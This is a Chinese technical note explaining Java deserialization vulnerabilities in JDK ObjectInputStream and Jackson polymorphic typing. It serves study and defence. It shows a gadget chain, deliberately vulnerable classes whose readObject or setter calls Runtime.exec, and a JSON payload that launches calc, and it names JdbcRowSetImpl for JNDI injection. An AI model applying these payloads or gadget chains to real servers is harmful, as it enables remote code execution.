原理

反序列化,核心就是从一个字节流中还原为对象的状态。
JDK 是存储着每一个成员变量的值、类型。反序列化时,递归获取出来,然后调用。
JSON 同理,只不过类似 Jackson 之类的框架,将 Class 作为序列化类型的一部分,从而间接支持多态。

由于扩大了反序列化的范围,因此,当无法限制反序列化的具体类型时,就容易出现问题。

JDK 漏洞

低级漏洞-利用当前存在问题的反序列化类

利用存在的类,直接反序列化对应的类时,触发相关的方法。

private void readObject(java.io.ObjectInputStream in) {
 
	Runtime.getRuntime.exec("xx");
}

高级漏洞-传入不存在的 class

通过已经存在的逻辑中会调用 ObjectInputStream 的类,构造攻击链,来传入不存在的 class 从而进行攻击

  • com.fr.third.org.apache.commons.collections4.bag.TreeBag#readObject
    • com.fr.third.org.apache.commons.collections4.bag.AbstractMapBag#doReadObject(Map<>) - 传入 TreeMap
      • java.util.TreeMap#put
        • java.util.TreeMap#compare
          • java.util.Comparator#compare
            • com.fr.base.core.serializable.SerialableLocalCollator#compare
              • com.fr.json.JSONArray#toString - 调用 getXXX
                • java.security.SignedObject#getObject
public Object getObject()  
    throws IOException, ClassNotFoundException  
{  
    // creating a stream pipe-line, from b to a  
    ByteArrayInputStream b = new ByteArrayInputStream(this.content);  
    ObjectInput a = new ObjectInputStream(b);  
    Object obj = a.readObject();  
    b.close();  
    a.close();  
    return obj;  
}

JDK 反序列化漏洞的危险性是成倍提升的。 因为支持了 inputstream 所以可以传入不存在的 class 进行攻击。

总结

JDK 漏洞当满足下面的任意条件即可出现

  • 当前存在可以直接利用 逻辑存在问题的 readObject 的类
  • 存在 调用 ObjectInputStream 的类

|300

JSON 漏洞

这里只分析 Jackson 的问题, FastJson 直接忽略。臭名昭著。完全不考虑。

原理 enableDefaultTyping

  1. 操作
    1. com.fasterxml.jackson.databind.ObjectMapper#enableDefaultTyping()
    2. 输出信息 {'object':["classpath", {"value": "test"}]}
    3. 反序列化时,就会通过 classpath 反序列化对应的类,并触发 setXX
  2. 服务端 classpath 存在 任意可以利用的类 ,如 com.sun.rowset.JdbcRowSetImpl,target 类满足 setXX 可控触发 JDNI 注入利用。

原理 JsonTypeInfo.Id.CLASS

com.fr.third.fasterxml.jackson.databind.introspect.JacksonAnnotationIntrospector

 
protected TypeResolverBuilder<?> _findTypeResolver(MapperConfig<?> config,  
        Annotated ann, JavaType baseType)  
{  
    // First: maybe we have explicit type resolver?  
    TypeResolverBuilder<?> b;  
    JsonTypeInfo info = _findAnnotation(ann, JsonTypeInfo.class);  
    JsonTypeResolver resAnn = _findAnnotation(ann, JsonTypeResolver.class);
    }

这个类中会获取到该类型的 TypeResolverBuilder 如果这个类是支持 JsonTypeInfo.Id.CLASS, 那么就会用这个方法去处理对象。
此时存在两种类型。

1、属性不为 Object 类时

要进行反序列化的类的属性所属类的构造函数或 setter 方法本身存在漏洞,当然这种场景开发几乎不会这么写。

public class MySex implements Sex {  
    int sex;  
    public MySex() {  
        System.out.println("MySex构造函数");  
    }  
    @Override  
    public int getSex() {  
        System.out.println("MySex.getSex");  
        return sex;  
    }  
    @Override  
    public void setSex(int sex) {  
        System.out.println("MySex.setSex");  
        this.sex = sex;  
        try {  
            Runtime.getRuntime().exec("calc");  
        } catch (Exception e) {  
            e.printStackTrace();  
        }   
    }  
}
 
public class Person {  
    public int age;  
    public String name;  
    @JsonTypeInfo(use = JsonTypeInfo.Id.MINIMAL_CLASS)  
    public Sex sex;  
    public Person() {  
        System.out.println("Person构造函数");  
    }  
    @Override  
    public String toString() {  
        return String.format("Person.age=%d, Person.name=%s, %s", age, name, sex == null ? "null" : sex);  
    }  
}
2、属性为 Object 类时

当属性类型为 Object 时,因为 Object 类型是任意类型的父类,因此扩大了我们的攻击面,我们只需要寻找出在目标服务端环境中存在的且构造函数或 setter 方法存在漏洞代码的类即可进行攻击利用。

public class Evil {  
    String cmd;  
    public void setCmd(String cmd) {  
        this.cmd = cmd;  
        try {  
            Runtime.getRuntime().exec(this.cmd);  
        } catch (Exception e) {  
            e.printStackTrace();  
        }  
    }  
}
 
public class Person {  
    public int age;  
    public String name;  
    @JsonTypeInfo(use = JsonTypeInfo.Id.MINIMAL_CLASS)  
    public Object object;  
    public Person() {  
        System.out.println("Person构造函数");  
    }  
    @Override  
    public String toString() {  
        return String.format("Person.age=%d, Person.name=%s, %s", age, name, object == null ? "null" : object);  
    }  
}

见上面的 Person 中存在对 Object 的反序列化支持。所以 通过下面的方式,即可模拟调用出计算器。

public class JSTest {  
    public static void main(String[] args) throws Exception {  
        ObjectMapper mapper = new ObjectMapper();  
        mapper.enableDefaultTyping();  
        String json = "{\"age\":6,\"name\":\"mi1k7ea\",\"object\":[\"com.evil.Evil\",{\"cmd\":\"calc\"}]}";  
        Person p2 = mapper.readValue(json, Person.class);  
        System.out.println(p2);  
    } 
}

总结

Jackson 满足下面三个条件之一即可开启 Jackson 反序列化漏洞:

  • 调用了 ObjectMapper.enableDefaultTyping()函数;
    • 存在可以利用的类,比如 com.sun.rowset.JdbcRowSetImpl
  • 对要进行反序列化的类的属性使用了值为 JsonTypeInfo.Id.CLASS@JsonTypeInfo 注解;
  • 对要进行反序列化的类的属性使用了值为 JsonTypeInfo.Id.MINIMAL_CLASS@JsonTypeInfo 注解;

和 JDK 的对比

500

可以看到,JDK 是从 all classes 里面找到可能存在的漏洞(逻辑漏洞+自定义漏洞)。

但是 Jackson 是有分层的。
如果

  • 开启 enableDefaultTypeing
  • 对 Object 开启 JsonTypeInfo.Id 的注解 那么等同于 “JDK + 利用存在的逻辑漏洞“

如果仅对必须的业务对象开启开启 JsonTypeInfo.Id 的注解,那么整个的范围立刻就缩小到开启注解的 biz-classes 。整个漏洞的范围一下就缩小到可控。 只要开发人员不对业务逻辑的 get/set/construct 做后门,一般不会存在问题。 最坏最坏,就是将相关的业务对象改写为不需要开启 JsonTypeInfo.Id 的逻辑即可。

综上可以发现,0 << json-属性不为 object << json-属性为 object << JDK

参考

JavaSec Jackjson反序列化漏洞利用原理 | thonsun’s blog
Jackson 反序列化漏洞基本原理 [ Mi1k7ea]
JDK反序列化漏洞